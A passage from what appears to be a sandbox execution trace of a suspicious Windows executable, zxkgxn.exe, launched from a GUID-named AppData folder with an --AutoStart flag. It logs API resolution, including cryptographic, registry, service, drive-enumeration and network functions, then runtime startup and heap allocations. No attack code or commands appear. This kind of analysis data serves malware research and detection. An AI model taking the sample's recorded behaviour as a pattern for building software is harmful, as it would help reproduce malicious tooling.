(hModule=0x76040000, lpProcName="PathFileExistsA") returned 0x7607ad1a [0108.174] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76150000 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="GetTickCount") returned 0x7616110c [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="TlsFree") returned 0x76163587 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="GetCommandLineW") returned 0x76165223 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="CreateFileA") returned 0x761653c6 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="FindFirstFileW") returned 0x76164435 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="SetFilePointer") returned 0x761617d1 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="lstrlenA") returned 0x76165a4b [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="SetErrorMode") returned 0x76161b00 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="FreeLibrary") returned 0x761634c8 [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="CreateProcessW") returned 0x7616103d [0108.174] GetProcAddress (hModule=0x76150000, lpProcName="SetFilePointerEx") returned 0x7617c807 [0108.175] GetProcAddress (hModule=0x76150000, lpProcName="CreateDirectoryW") returned 0x76164259 [0108.175] GetProcAddress (hModule=0x76150000, lpProcName="WaitForSingleObject") returned 0x76161136 [0108.175] GetProcAddress (hModule=0x76150000, lpProcName="GetLogicalDrives") returned 0x76165371 [0108.175] GetProcAddress (hModule=0x76150000, lpProcName="VirtualFree") returned 0x7616186e [0108.175] GetProcAddress (hModule=0x76150000, lpProcName="WriteFile") returned 0x76161282 [0108.175] GetProcAddress (hModule=0x76150000, lpProcName="GetDriveTypeA") returned 0x7617ef75 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="OpenProcess") returned 0x76161986 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="GlobalAlloc") returned 0x7616588e [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="GetSystemDirectoryW") returned 0x76165063 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="WideCharToMultiByte") returned 0x7616170d [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="LoadLibraryW") returned 0x7616492b [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="Sleep") returned 0x761610ff [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="CopyFileW") returned 0x7618830d [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="FormatMessageW") returned 0x76164620 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="lstrcpynW") returned 0x7618d556 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="CreateProcessA") returned 0x76161072 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="TerminateProcess") returned 0x7617d802 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="ReadFile") returned 0x76163ed3 [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="CreateFileW") returned 0x76163f5c [0108.176] GetProcAddress (hModule=0x76150000, lpProcName="lstrcatA") returned 0x76182b7a [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="GetEnvironmentVariableA") returned 0x761633a0 [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="lstrcmpW") returned 0x76165929 [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="MultiByteToWideChar") returned 0x7616192e [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="lstrlenW") returned 0x76161700 [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="FlushFileBuffers") returned 0x7616469b [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="GetShortPathNameA") returned 0x7618594d [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="GetFileSizeEx") returned 0x761659e2 [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="GetLastError") returned 0x761611c0 [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="SetLastError") returned 0x761611a9 [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="GetProcAddress") returned 0x76161222 [0108.177] GetProcAddress (hModule=0x76150000, lpProcName="VirtualAlloc") returned 0x76161856 [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="MoveFileW") returned 0x76179af0 [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="FindClose") returned 0x76164442 [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="Process32FirstW") returned 0x76188baf [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="LocalAlloc") returned 0x7616168c [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="CreateEventW") returned 0x7616183e [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="GetModuleFileNameA") returned 0x761614b1 [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="Process32NextW") returned 0x7618896c [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="lstrcatW") returned 0x7618828e [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="CreateMutexA") returned 0x76164c6b [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="FatalAppExitA") returned 0x761e4691 [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="CreateToolhelp32Snapshot") returned 0x7618735f [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="CloseHandle") returned 0x76161410 [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="DeleteFileW") returned 0x761689b3 [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="LocalFree") returned 0x76162d3c [0108.178] GetProcAddress (hModule=0x76150000, lpProcName="lstrcpyW") returned 0x76183102 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="DeleteFileA") returned 0x76165444 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="lstrcpyA") returned 0x76182a9d [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="SetPriorityClass") returned 0x7617cf28 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="GetModuleHandleW") returned 0x761634b0 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="GetComputerNameW") returned 0x7616dd0e [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="GetExitCodeProcess") returned 0x7617174d [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="GetModuleFileNameW") returned 0x76164950 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="GlobalFree") returned 0x76165558 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="GetVersion") returned 0x76164467 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="CreateDirectoryA") returned 0x7618d526 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="CreateThread") returned 0x761634d5 [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="TlsSetValue") returned 0x761614fb [0108.179] GetProcAddress (hModule=0x76150000, lpProcName="TlsGetValue") returned 0x761611e0 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="TlsAlloc") returned 0x761649ad [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76161916 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="SetUnhandledExceptionFilter") returned 0x761687c9 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="UnhandledExceptionFilter") returned 0x7618772f [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="FreeEnvironmentStringsW") returned 0x761651cb [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="GetEnvironmentStringsW") returned 0x761651e3 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentProcessId") returned 0x761611f8 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="QueryPerformanceCounter") returned 0x76161725 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="GetStartupInfoW") returned 0x76164d40 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="DeleteCriticalSection") returned 0x77d445f5 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="GetTimeZoneInformation") returned 0x7616465a [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="RaiseException") returned 0x761658a6 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="GetStringTypeW") returned 0x76161946 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="HeapSize") returned 0x77d43002 [0108.180] GetProcAddress (hModule=0x76150000, lpProcName="LoadLibraryExW") returned 0x7616495d [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="HeapAlloc") returned 0x77d3e026 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="GetLocaleInfoW") returned 0x76163c42 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="IsValidLocale") returned 0x7617ce46 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="GetUserDefaultLCID") returned 0x76163da5 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="EnumSystemLocalesW") returned 0x761e425f [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="GetDateFormatW") returned 0x761834d7 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="GetTimeFormatW") returned 0x7617f481 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="CompareStringW") returned 0x76163bca [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="LCMapStringW") returned 0x761617b9 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="GetConsoleCP") returned 0x76207bff [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="GetConsoleMode") returned 0x76161328 [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="HeapReAlloc") returned 0x77d51f6e [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="SetStdHandle") returned 0x761e454f [0108.181] GetProcAddress (hModule=0x76150000, lpProcName="SetEndOfFile") returned 0x7617ce2e [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="GetStdHandle") returned 0x761651b3 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="GetFileType") returned 0x76163531 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="GetModuleHandleExW") returned 0x76164a6f [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="WriteConsoleW") returned 0x76187aca [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="ReadConsoleW") returned 0x7620739a [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="OutputDebugStringW") returned 0x7618d1d4 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="SetConsoleCtrlHandler") returned 0x76168a09 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="RtlUnwind") returned 0x7618d1c3 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="LeaveCriticalSection") returned 0x77d32270 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="EnterCriticalSection") returned 0x77d322b0 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="AreFileApisANSI") returned 0x761e40d1 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="ExitProcess") returned 0x76167a10 [0108.182] GetProcAddress (hModule=0x76150000, lpProcName="GetProcessHeap") returned 0x761614e9 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentThreadId") returned 0x76161450 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentThread") returned 0x761617ec [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="GetCPInfo") returned 0x76165189 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="HeapFree") returned 0x761614c9 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="SetEnvironmentVariableA") returned 0x7616e331 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="EncodePointer") returned 0x77d50fcb [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="DecodePointer") returned 0x77d49d35 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="GetSystemTimeAsFileTime") returned 0x76163509 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentProcess") returned 0x76161809 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="CreateSemaphoreW") returned 0x7617ca5a [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="GetOEMCP") returned 0x7618d1a1 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="GetACP") returned 0x7616179c [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="IsValidCodePage") returned 0x76164493 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="IsProcessorFeaturePresent") returned 0x76165235 [0108.183] GetProcAddress (hModule=0x76150000, lpProcName="FindNextFileW") returned 0x761654ee [0108.184] GetProcAddress (hModule=0x76150000, lpProcName="IsDebuggerPresent") returned 0x76164a5d [0108.184] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x759a0000 [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="LoadCursorW") returned 0x759b88f7 [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="TranslateMessage") returned 0x759b7809 [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="RegisterClassExW") returned 0x759bb17d [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="ShowWindow") returned 0x759c0dfb [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="IsWindow") returned 0x759b7136 [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="CreateWindowExW") returned 0x759b8a29 [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="UpdateWindow") returned 0x759c3559 [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="DefWindowProcW") returned 0x77d425dd [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="PeekMessageW") returned 0x759c05ba [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="PostThreadMessageW") returned 0x759b8bff [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="MessageBoxW") returned 0x75a0fd3f [0108.184] GetProcAddress (hModule=0x759a0000, lpProcName="DispatchMessageW") returned 0x759b787b [0108.185] GetProcAddress (hModule=0x759a0000, lpProcName="PostQuitMessage") returned 0x759b9abb [0108.185] GetProcAddress (hModule=0x759a0000, lpProcName="DestroyWindow") returned 0x759b9a55 [0108.185] GetProcAddress (hModule=0x759a0000, lpProcName="SendMessageW") returned 0x759b9679 [0108.185] GetProcAddress (hModule=0x759a0000, lpProcName="GetMessageW") returned 0x759b78e2 [0108.185] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76490000 [0108.185] GetProcAddress (hModule=0x76490000, lpProcName="CryptGetHashParam") returned 0x7649df7e [0108.185] GetProcAddress (hModule=0x76490000, lpProcName="CryptAcquireContextW") returned 0x7649df14 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="OpenSCManagerW") returned 0x7649ca64 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="OpenServiceW") returned 0x7649ca4c [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="CryptReleaseContext") returned 0x7649e124 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="GetUserNameW") returned 0x764a157a [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="CryptHashData") returned 0x7649df36 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="RegSetValueExW") returned 0x764a14d6 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="RegCloseKey") returned 0x764a469d [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="CryptDestroyHash") returned 0x7649df66 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="ControlService") returned 0x764b7144 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="RegOpenKeyExW") returned 0x764a468d [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="CryptCreateHash") returned 0x7649df4e [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="CryptEncrypt") returned 0x764b779b [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="CryptImportKey") returned 0x7649c532 [0108.186] GetProcAddress (hModule=0x76490000, lpProcName="QueryServiceStatus") returned 0x764a2a86 [0108.187] GetProcAddress (hModule=0x76490000, lpProcName="RegQueryValueExW") returned 0x764a46ad [0108.187] GetProcAddress (hModule=0x76490000, lpProcName="CloseServiceHandle") returned 0x764a369c [0108.187] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x768b0000 [0108.191] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetPathFromIDListW") returned 0x769417bf [0108.191] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7693e141 [0108.191] GetProcAddress (hModule=0x768b0000, lpProcName="CommandLineToArgvW") returned 0x768c9ee8 [0108.192] GetProcAddress (hModule=0x768b0000, lpProcName="ShellExecuteA") returned 0x76af7078 [0108.192] GetProcAddress (hModule=0x768b0000, lpProcName="ShellExecuteExW") returned 0x768d1e46 [0108.192] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75b30000 [0108.192] GetProcAddress (hModule=0x75b30000, lpProcName="CoInitialize") returned 0x75b4b636 [0108.192] GetProcAddress (hModule=0x75b30000, lpProcName="CoInitializeSecurity") returned 0x75b57259 [0108.192] GetProcAddress (hModule=0x75b30000, lpProcName="CoUninitialize") returned 0x75b786d3 [0108.192] GetProcAddress (hModule=0x75b30000, lpProcName="CoCreateInstance") returned 0x75b79d0b [0108.192] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76260000 [0108.192] GetProcAddress (hModule=0x76260000, lpProcName=0xca) returned 0x7626fd6b [0108.192] GetProcAddress (hModule=0x76260000, lpProcName=0x2) returned 0x76264642 [0108.192] GetProcAddress (hModule=0x76260000, lpProcName=0x9) returned 0x76263eae [0108.192] GetProcAddress (hModule=0x76260000, lpProcName=0x8) returned 0x76263ed5 [0108.192] GetProcAddress (hModule=0x76260000, lpProcName=0x6) returned 0x76263e59 [0108.193] GetProcAddress (hModule=0x76260000, lpProcName=0xc8) returned 0x76263f21 [0108.193] GetProcAddress (hModule=0x76260000, lpProcName=0xc) returned 0x76265dee [0108.193] GetProcAddress (hModule=0x76260000, lpProcName=0xc9) returned 0x76264af8 [0108.193] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x755a0000 [0108.236] GetProcAddress (hModule=0x755a0000, lpProcName="GetAdaptersInfo") returned 0x755a9263 [0108.236] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75c90000 [0108.266] GetProcAddress (hModule=0x75c90000, lpProcName=0xc) returned 0x75c9b131 [0108.266] GetProcAddress (hModule=0x75c90000, lpProcName=0xb) returned 0x75c9311b [0108.266] GetProcAddress (hModule=0x75c90000, lpProcName=0x34) returned 0x75ca7673 [0108.266] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x75540000 [0108.298] GetProcAddress (hModule=0x75540000, lpProcName="DnsQuery_W") returned 0x7555572c [0108.298] GetProcAddress (hModule=0x75540000, lpProcName="DnsFree") returned 0x7554436b [0108.298] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x77660000 [0108.298] GetProcAddress (hModule=0x77660000, lpProcName="CryptStringToBinaryA") returned 0x77695d77 [0108.298] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x75480000 [0108.355] GetProcAddress (hModule=0x75480000, lpProcName="atexit") returned 0x7549c544 [0108.356] atexit (param_1=0x61a66a) returned 0 [0108.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18dca8 | out: lpSystemTimeAsFileTime=0x18dca8*(dwLowDateTime=0x8ede5a60, dwHighDateTime=0x1d52f22)) [0108.356] GetCurrentThreadId () returned 0x4dc [0108.356] GetCurrentProcessId () returned 0x4d8 [0108.356] QueryPerformanceCounter (in: lpPerformanceCount=0x18dca0 | out: lpPerformanceCount=0x18dca0*=6950185589) returned 1 [0108.356] GetStartupInfoW (in: lpStartupInfo=0x18dc38 | out: lpStartupInfo=0x18dc38*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76163519, hStdOutput=0x77d2fd35, hStdError=0x77d97daf)) [0108.356] GetProcessHeap () returned 0x5c0000 [0108.356] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76150000 [0108.356] GetProcAddress (hModule=0x76150000, lpProcName="FlsAlloc") returned 0x76164f2b [0108.356] GetProcAddress (hModule=0x76150000, lpProcName="FlsFree") returned 0x7616359f [0108.356] GetProcAddress (hModule=0x76150000, lpProcName="FlsGetValue") returned 0x76161252 [0108.356] GetProcAddress (hModule=0x76150000, lpProcName="FlsSetValue") returned 0x76164208 [0108.356] GetProcAddress (hModule=0x76150000, lpProcName="InitializeCriticalSectionEx") returned 0x76164d28 [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="CreateEventExW") returned 0x761e410b [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="CreateSemaphoreExW") returned 0x761e4195 [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="SetThreadStackGuarantee") returned 0x7616d31f [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="CreateThreadpoolTimer") returned 0x7617ee7e [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="SetThreadpoolTimer") returned 0x77d5441c [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77d7c50e [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="CloseThreadpoolTimer") returned 0x77d7c381 [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="CreateThreadpoolWait") returned 0x7617f088 [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="SetThreadpoolWait") returned 0x77d605d7 [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="CloseThreadpoolWait") returned 0x77d7ca24 [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="FlushProcessWriteBuffers") returned 0x77d30b8c [0108.357] GetProcAddress (hModule=0x76150000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77defde8 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentProcessorNumber") returned 0x77d81e1d [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="GetLogicalProcessorInformation") returned 0x761e4761 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="CreateSymbolicLinkW") returned 0x761dcd11 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="EnumSystemLocalesEx") returned 0x761e424f [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="CompareStringEx") returned 0x761e46b1 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="GetDateFormatEx") returned 0x761f6676 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="GetLocaleInfoEx") returned 0x761e4751 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="GetTimeFormatEx") returned 0x761f65f1 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="GetUserDefaultLocaleName") returned 0x761e47c1 [0108.358] GetProcAddress (hModule=0x76150000, lpProcName="IsValidLocaleName") returned 0x761e47e1 [0108.359] GetProcAddress (hModule=0x76150000, lpProcName="LCMapStringEx") returned 0x761e47f1 [0108.359] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentPackageId") returned 0x0 [0108.359] GetProcAddress (hModule=0x76150000, lpProcName="GetTickCount64") returned 0x7617eee0 [0108.359] GetProcAddress (hModule=0x76150000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0108.359] GetProcAddress (hModule=0x76150000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0108.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3bc) returned 0x66b340 [0108.359] GetCurrentThreadId () returned 0x4dc [0108.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x6616a8 [0108.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x66b708 [0108.360] GetStartupInfoW (in: lpStartupInfo=0x18dc08 | out: lpStartupInfo=0x18dc08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x11481fee, hStdError=0x77d445f5)) [0108.360] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0108.360] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0108.360] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0108.360] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart" [0108.360] GetEnvironmentStringsW () returned 0x66bf10* [0108.360] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb02) returned 0x66ca20 [0108.360] FreeEnvironmentStringsW (penv=0x66bf10) returned 1 [0108.360] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe")) returned 0x5b [0108.360] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xdc) returned 0x66d530 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x9c) returned 0x66d618 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x6606e8 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6c) returned 0x66d6c0 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6e) returned 0x66d738 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x78) returned 0x65e938 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x62) returned 0x66d7b0 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x667138 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x662e20 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x666ae0 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1a) returned 0x66afd8 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4a) returned 0x66d820 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x72) returned 0x65e9b8 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x667170 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x6671a8 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1c) returned 0x66b000 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd2) returned 0x66d878 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x7c) returned 0x66d958 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x66d9e0 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3a) returned 0x660730 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x90) returned 0x66da20 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x666b10 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x6671e0 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x66dab8 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x662e70 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x66daf8 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x660778 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x82) returned 0x66db58 [0108.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x667218 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x666b40 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x66b028 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2c) returned 0x667250 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x66dbe8 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x66dc48 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x667288 [0108.362] 